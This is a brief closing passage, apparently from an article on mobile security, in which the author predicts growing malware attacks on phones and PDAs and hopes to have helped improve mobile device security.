Today's mobile devices are beginning to gain computing power and are becoming cheaper, thus allowing more people to buy them. That's why I assume that in the next five years we can expect many attacks against phones and PDAs. People wear mobile devices with them wherever they go (I do, anyway); they connect to the Net whenever they have the opportunity; they read email and browse the web. It's an ideal milieu for worms, computer viruses, and Trojan horses. I hope I've contributed at least a little (and in the future will contribute more) to improving the state of mobile device security.
[Back to index] [Comments (0)]